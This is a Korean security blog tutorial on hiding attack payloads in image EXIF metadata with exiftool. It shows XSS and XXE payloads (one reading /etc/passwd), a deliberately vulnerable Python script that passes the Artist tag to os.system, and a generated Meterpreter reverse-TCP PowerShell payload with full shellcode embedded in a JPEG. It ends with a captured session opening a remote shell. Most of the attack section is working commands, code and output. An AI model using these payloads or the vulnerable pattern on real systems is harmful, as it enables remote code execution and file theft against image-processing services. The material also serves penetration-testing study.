EXIF를 이용하여 이미지 파일 내 Payload 삽입하기
이미지를 처리하는 서비스들을 보면 많은 서비스들이 이미지의 metadata를 사용합니다. 이를 파싱해서 활용하기 때문에 우리는 이를 통해 XSS나 XXE 등 여러 웹 해킹 기법에 사용할 수 있습니다. 가장 쉬운 방법으론 각 OS의 파일 뷰어에서 파일 속성을 열고 직접 편집하여 사용할 수 있지만 이는 약간 귀찮은 작업이고 툴이나 자동화 시 굉장히 걸리적거립니다. 그리고 러한 작업을 도와주는 exif(exiftool)란 도구를 사용하면 좀 더 쉽게 데이터를 추가하고 수정할 수 있습니다.
오늘은 exif를 이용하여 XSS, XXE 등 페이로드를 이미지에 삽입하는 방법에 대해 이야기할까 합니다.
EXIF
EXIF 파일은 카메라 옵션, 시간 및 날짜, 위치 정보 등을 사진에 저장하는 데이터 스토리지의 한 형태입니다. 우리가 모비일 기기 등으로 촬영한 이미지에는 많은 정보가 남게 되는데, 이러한 이유가 바로 EXIF로 인해 남은 정보이기 때문이죠. 서론에서 이야기했듯이 exif(exiftool) 등을 이용하여 쉽게 확인하거나 수정할 수 있습니다.
# MacOS
brew install exiftool
# Linux
apt-get install exif
설치가 완료되면 exiftool 명령을 사용할 수 있습니다.
exiftool
# Syntax: exiftool [OPTIONS] FILE
# Consult the exiftool documentation for a full list of options.
Warm up - exiftool
exiftool에 이미지 파일의 경로를 인자값으로 넘겨주면 파일에 대한 정보+metadata를 볼 수 있습니다.
exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 18 kB
File Modification Date/Time : 2017:06:21 13:18:09+09:00
File Access Date/Time : 2017:08:16 11:59:55+09:00
File Inode Change Date/Time : 2017:08:16 11:59:50+09:00
File Permissions : rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
간단하게 사용법을 보면 아래와 같습니다.
이미지에 대한 정보보기
exiftool test.jpg
이미지에 metadata 삽입하기
exiftool -artist=me test.jpg
여러 이미지에 metadata 삽입하기
exiftool -artist=me test.jpg b.jpg c.jpg
이미지에 여러 metadata 삽입하기
exiftool -artist="Phil Harvey" -copyright="2011 Phil Harvey" test.jpg
특정 경로에 있는 이미지에게 모두 metadata 삽입하기
exiftool -artist=me ./images
이정도면 우리가 테스트하는데 필요한 정보는 이정도면 충분할 것 같네요. 더 궁금하신게 있으시다면 아래 링크 참고해주세요.
Inject Payloads
위에서 익힌 방법을 바로 활용해봅시다. 제가 테스트하던 영역은 XML을 파싱하는 부분이고 일부 가능성이 있어보였습니다. 그 중 metadata를 불러서 파싱할 수 있는 부분을 찾게되었지요.
테스트를 위해 특수문자에 대해 반복하며 이미지를 생성하고 해당 이미지가 파싱된 결과를 보면서 테스트합니다. exiftool로 이미지에 테스팅 코드를 넣습니다.
exiftool exif.jpg -artist="hah\!wul"
# 1 image files updated
exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 18 kB
File Modification Date/Time : 2017:08:16 12:04:09+09:00
File Access Date/Time : 2017:08:16 12:04:09+09:00
File Inode Change Date/Time : 2017:08:16 12:04:09+09:00
File Permissions : rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : hah\!wul
Y Cb Cr Positioning : Centered
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
이제 exif.jpg 이미지의 artist 영역은 제가 입력한 값으로 들어가게 됩니다. 그래서 쭉 진행하다보니..
HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 21:07:20 GMT
Server: Apache
[....]
Content-Type: text/xml;charset=UTF-8
Content-Length: 484
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<item>
[....]
<exif><![CDATA[{"Artist":"hah\\!<>wul"}]]></exif>
</item>
아쉽게도 물론 필터링되버렸네요.. 다만 !
가 살아있다는 희망은 얻었죠. 실제로 테스트 시 이 필터링 때문에 이 부분으로 성공하진 못헀습니다. 다만 exif를 이용하면 테스트가 간단해지는건 사실입니다. 만약 웹에서 metadata에 대해 노출되는 부분이 있다면 아래와 같이 XSS 코드를 삽입할 수 있습니다.
exiftool exif.jpg -artist="<svg/onload=alert(45)>"
XML을 파싱하고 특수문자에 대한 제한이 없다면 아래와 같이 XXE Payload를 넣어볼 수도 있겠네요.
exiftool exif.jpg -artist='<!ENTITY hwul SYSTEM "file:///etc/passwd">'
Attack via EXIF
위 내용에서 끝내려니 아쉬움이 남았습니다. 별거 아닌데 쓰다보니 길어지고, 그냥 아주 단순한 팁정도라 약간 개인적으로 더 해보고싶단 생각이 들었었죠. 그래서 하나의 시나리오를 구성해봤습니다.
이미지의 metadata를 파싱하는 시스템에 문제가 있다면 payload, exploit 코드를 exiftool로 넣어 보낼 수 있지 않을까?
자 간단하게 바로 시작해봅니다.
Fail case
실패한 케이스였습니다. 다만 기록은 해두고 싶어서 작성해두니 혹시 비슷한 테스트를 해보시고 싶으시다면 부디 아래에 표기한 부분부터 하시길 바랍니다. image의 metadata를 파싱하는 취약한 python 코드를 하나 만들어봤습니다.
Code
import exifread
f = open('exif.jpg', 'rb')
# Return Exif tags
tags = exifread.process_file(f)
for tag in tags.keys():
if tag not in ('JPEGThumbnail', 'TIFFThumbnail', 'Filename', 'EXIF MakerNote'):
print "Key: %s, value %s" % (tag, tags[tag])
if tag == "Artist":
cmd = tags[tag].__str__()
os.system(cmd)
코드만 봤을땐 Artist에 들어온 데이터가 os.system으로 넘어가 명령 실행이 될거라 생각했습니다. 일단 공격에 사용할 payload를 powershell 코드로 만들어주고..
hvenom -p windows/meterpreter/reverse_tcp -f psh \
LHOST=192.168.0.8 \
LPORT=4444 > code.ps1
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# No encoder or badchars specified, outputting raw payload
# Payload size: 333 bytes
# Final size of psh file: 2361 bytes
이 데이터를 읽어 artist 영역에 exiftool로 저장하였습니다.
exiftool -artist="powershell -Command `cat code.ps1`" exif.jpg
# 1 image files updated
exiftool exif.jpg
ExifTool Version Number : 10.10
File Name : exif.jpg
Directory : .
File Size : 20 kB
File Modification Date/Time : 2017:08:16 18:03:19+09:00
File Access Date/Time : 2017:08:16 18:03:19+09:00
File Inode Change Date/Time : 2017:08:16 18:03:19+09:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : powershell -Command $fxhcLZUUZ = @"..[DllImport("kernel32.dll")]..public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);..[DllImport("kernel32.dll")]..public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);.."@....$RKWScSnULxy = Add-Type -memberDefinition $fxhcLZUUZ -Name "Win32" -namespace Win32Functions -passthru....[Byte[]] $RCSWUlBtcdVr = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xa,0x43,0x11,0x89,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5......$IpkAcrvp = $RKWScSnULxy::VirtualAlloc(0,[Math]::Max($RCSWUlBtcdVr.Length,0x1000),0x3000,0x40)....[System.Runtime.InteropServices.Marshal]::Copy($RCSWUlBtcdVr,0,$IpkAcrvp,$RCSWUlBtcdVr.Length)....$RKWScSnULxy::CreateThread(0,0,$IpkAcrvp,0,0,0)
Y Cb Cr Positioning : Centered
Image Width : 400
Image Height : 383
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x383
Megapixels : 0.153
PC내 속성을 통해서 봐도 똑같지요.
데이터가 잘 들어갔습니다. 그럼 쉘이 떨어지는 지 볼까요?
python 123.py
아쉽지만 에러가 발생합니다. 이유를 살펴보면 powershell 코드 내 특수문자(공백,개행문자, 쿼테이션)가 많아 코드 실행에 문제가 되고 결정적으로 제가 취약 코드를 잘못 만들었습니다.
[실패한 이유] python의 exifread 라이브러리는 metadata의 데이터가 커지면 …으로 요약 표기하는 기능을 내장하고 있습니다. 그래서 공격코드의 크기, 즉 metadata의 내용이 커지자 아래와 같이 요약해서 표기해버리니.. 당연히 공격코드가 정상적으로 실행되지 않았던거죠.
powershell -Command $f[.....]
Attack and Exploit
자 다시 사건을 재 구성해봅니다. 먼저 잘못된 취약 코드부터 다시 작성하겠습니다.
Code
import os,sys
from PIL import Image
from PIL.ExifTags import TAGS
if __name__ == '__main__':
for (k,v) in Image.open(sys.argv[1])._getexif().iteritems():
print '%s = %s' % (TAGS.get(k), v)
if TAGS.get(k) == "Artist":
#os.system('pause') #이미지 캡쳐를 위해 잠깐 정지..
os.system(v)
os.system('pause')
Image, TAGS 라이브러리를 이용해 metadata를 파싱하는 코드를 다시 작성했습니다. 위와 유사하게 os.system 으로 데이터를 넘기구요. 그리고 테스트하기 쉽게 batch 파일 형태로 변경하고 특수문자가 걸리지 않도록 쉘 데이터를 배치파일로 생성합니다.
hvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 \
-f psh-cmd \
LHOST=192.168.0.8 \
LPORT=4444 > code.bat
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of cmd/powershell_base64
# cmd/powershell_base64 succeeded with size 333 (iteration=0)
# cmd/powershell_base64 chosen with final size 333
# Payload size: 333 bytes
# Final size of psh-cmd file: 6183 bytes
아까처럼 exiftool을 이용해서 artist 영역에 넣어줍니다.
exiftool -artist="`cat code.bat`" exif.jpg
# 1 image files updated
공격에 사용될 이미지가 완성됬네요. 알아서들 metasploit에서 exploit handler(exploit/multi/handler > 세팅하시고 > run
) 돌려주시고 타겟 PC에서 파싱이 시작되면 아래와 같이 Metasploit에 Meterpreter session 이 정상적으로 연결됩니다.
python 133.py
HAHWUL exploit(handler) > [*] Sending stage (956991 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:50038) at 2017-08-16 18:41:44 +0900
HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >